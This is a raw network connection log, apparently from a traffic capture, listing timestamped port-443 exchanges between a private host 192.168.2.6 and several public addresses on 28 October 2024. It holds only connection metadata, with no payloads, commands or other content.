Oct 28, 2024 02:07:37.284759045 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.284785986 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.284785986 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.284801006 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.284826994 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.292615891 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.292624950 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.292646885 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.292656898 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.292675018 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.292691946 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.292702913 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.292716980 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.292745113 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.292752028 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.292803049 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.292880058 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.294912100 CET	49887	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.294924974 CET	443	49887	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.321618080 CET	49897	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.321702003 CET	443	49897	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.321791887 CET	49897	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.321887016 CET	49898	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.321913958 CET	443	49898	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.321970940 CET	49898	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.322236061 CET	49897	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.322283030 CET	443	49897	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.322457075 CET	49898	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.322469950 CET	443	49898	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.335375071 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.335392952 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.335454941 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.335472107 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.335521936 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.343835115 CET	49899	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.343863010 CET	443	49899	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.343940973 CET	49899	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.344283104 CET	49900	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.344320059 CET	443	49900	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.344373941 CET	49900	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.344502926 CET	49899	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.344530106 CET	443	49899	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.344597101 CET	49900	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.344616890 CET	443	49900	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.383866072 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.383882999 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.383949041 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.383964062 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.384001017 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.385556936 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.385574102 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.385618925 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.385626078 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.385654926 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.385670900 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.426815987 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.426834106 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.426882982 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.426892996 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.426920891 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.426949978 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.461154938 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.461170912 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.461225986 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.461237907 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.461276054 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.461298943 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.506277084 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.506294012 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.506364107 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.506376982 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.506427050 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.526267052 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.526287079 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.526338100 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.526345015 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.526396990 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.526405096 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.537682056 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.537703037 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.537815094 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.537823915 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.537874937 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.553786993 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.553805113 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.553896904 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.553905010 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.553949118 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.569600105 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.569616079 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.569698095 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.569705963 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.569823980 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.596889973 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.596910954 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.596968889 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.596977949 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.597028017 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.613168955 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.613188028 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.613277912 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.613286018 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.613327980 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.631047964 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.631751060 CET	49893	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.631773949 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.632344961 CET	49893	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.632349014 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.648520947 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.648539066 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.648597956 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.648607016 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.648658991 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.661778927 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.661793947 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.661858082 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.661864996 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.661897898 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.661923885 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.662079096 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662096977 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662144899 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.662156105 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662174940 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.662190914 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.662193060 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662204981 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662225008 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662252903 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.662260056 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662272930 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662302017 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.662309885 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662347078 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.662352085 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.662364960 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.662395000 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.665277004 CET	443	49892	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.668406010 CET	49892	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.668431997 CET	443	49892	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.668533087 CET	49889	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.668546915 CET	443	49889	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.669193029 CET	49892	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.669200897 CET	443	49892	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.670175076 CET	443	49894	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.672317028 CET	49894	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.672336102 CET	443	49894	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.672888041 CET	49894	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.672894955 CET	443	49894	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.721335888 CET	443	49882	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.721491098 CET	443	49882	13.107.246.45	192.168.2.6
Oct 28, 2024 02:07:37.721577883 CET	49882	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.722481966 CET	49882	443	192.168.2.6	13.107.246.45
Oct 28, 2024 02:07:37.763401031 CET	443	49895	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.779767036 CET	49895	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.779793024 CET	443	49895	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.780529976 CET	49895	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.780536890 CET	443	49895	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.788887978 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.788918018 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.788955927 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.788974047 CET	49893	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.789022923 CET	49893	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.795903921 CET	49893	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.795916080 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.795928001 CET	49893	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.795933008 CET	443	49893	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.809390068 CET	443	49894	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.809509993 CET	443	49894	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.809598923 CET	49894	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.813889980 CET	443	49892	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.813977957 CET	443	49892	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.814049006 CET	49892	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.814723015 CET	49892	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.814735889 CET	443	49892	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.814747095 CET	49892	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.814752102 CET	443	49892	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.817030907 CET	49901	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.817082882 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.817179918 CET	49901	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.817564964 CET	49901	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.817586899 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.824603081 CET	49894	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.824608088 CET	443	49894	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.824618101 CET	49894	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.824621916 CET	443	49894	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.831089020 CET	49904	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.831115961 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.831197977 CET	49904	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.831728935 CET	49904	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.831743002 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.833028078 CET	49905	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.833051920 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.833210945 CET	49905	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.833364010 CET	49905	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.833374977 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.909689903 CET	443	49895	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.909851074 CET	443	49895	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.909959078 CET	49895	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.910106897 CET	49895	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.910120010 CET	443	49895	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.910130024 CET	49895	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.910135031 CET	443	49895	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.914668083 CET	49906	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.914700985 CET	443	49906	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.914933920 CET	49906	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.915119886 CET	49906	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:37.915134907 CET	443	49906	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:37.930644035 CET	443	49898	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.933219910 CET	49898	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.933233976 CET	443	49898	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.933996916 CET	443	49898	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.936407089 CET	49898	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.936533928 CET	443	49898	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.937428951 CET	443	49897	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.937639952 CET	49897	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.937659979 CET	443	49897	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.938740969 CET	443	49897	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.939750910 CET	49897	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.939933062 CET	443	49897	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.950037003 CET	49907	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:37.950057983 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:37.950239897 CET	49907	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:37.950443983 CET	49907	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:37.950459003 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:37.967834949 CET	443	49900	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.968120098 CET	49900	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.968139887 CET	443	49900	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.969697952 CET	443	49899	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.969995022 CET	49899	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.970017910 CET	443	49899	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.971046925 CET	443	49899	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.971124887 CET	49899	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.971673012 CET	443	49900	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.971755981 CET	49900	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.972018957 CET	49899	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.972084045 CET	443	49899	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:37.972560883 CET	49900	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:37.972775936 CET	443	49900	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:38.016379118 CET	443	49896	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.017046928 CET	49896	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.017056942 CET	443	49896	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.017712116 CET	49896	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.017718077 CET	443	49896	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.070312023 CET	49897	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:38.070323944 CET	49900	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:38.070333958 CET	443	49900	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:38.070334911 CET	49899	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:38.070344925 CET	443	49899	162.159.61.3	192.168.2.6
Oct 28, 2024 02:07:38.091866016 CET	49898	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:38.118096113 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.118117094 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.118190050 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.118845940 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.118882895 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.118943930 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.119272947 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.119281054 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.119436979 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.119623899 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.119632006 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.119740963 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.119993925 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.120007038 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.120116949 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.120250940 CET	49908	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.120263100 CET	443	49908	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.120631933 CET	49909	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.120645046 CET	443	49909	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.120924950 CET	49910	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.120939016 CET	443	49910	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.121062994 CET	49911	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.121074915 CET	443	49911	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.121181965 CET	49912	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.121195078 CET	443	49912	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.151669025 CET	443	49896	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.151842117 CET	443	49896	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.151990891 CET	49896	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.152235031 CET	49896	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.152241945 CET	443	49896	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.152251005 CET	49896	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.152255058 CET	443	49896	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.155025005 CET	49915	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.155054092 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.155154943 CET	49915	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.155356884 CET	49915	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.155369043 CET	443	49915	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.272696018 CET	49900	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:38.273216963 CET	49899	443	192.168.2.6	162.159.61.3
Oct 28, 2024 02:07:38.556154013 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.557197094 CET	49904	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.557223082 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.558146954 CET	49904	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.558152914 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.559832096 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.560261011 CET	49901	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.560295105 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.560697079 CET	49901	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.560708046 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.563750029 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.564359903 CET	49905	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.564374924 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.565016031 CET	49905	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.565018892 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.649054050 CET	443	49906	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.666117907 CET	49906	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.666134119 CET	443	49906	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.666970968 CET	49906	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.666975975 CET	443	49906	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.683109999 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.683253050 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.687355995 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.691775084 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.693803072 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.693869114 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.693975925 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.694925070 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.694981098 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.699328899 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.699351072 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.704052925 CET	49904	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.704107046 CET	49905	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.704169035 CET	49901	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.706456900 CET	49904	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.706470966 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.706481934 CET	49904	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.706486940 CET	443	49904	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.708100080 CET	49901	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.708100080 CET	49901	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.708118916 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.708141088 CET	443	49901	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.708301067 CET	49905	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.708313942 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.708324909 CET	49905	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.708329916 CET	443	49905	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:38.709549904 CET	49907	443	192.168.2.6	13.107.246.57
Oct 28, 2024 02:07:38.709567070 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.709948063 CET	443	49907	13.107.246.57	192.168.2.6
Oct 28, 2024 02:07:38.712409973 CET	49917	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:38.712440014 CET	443	49917	13.107.246.60	192.168.2.6
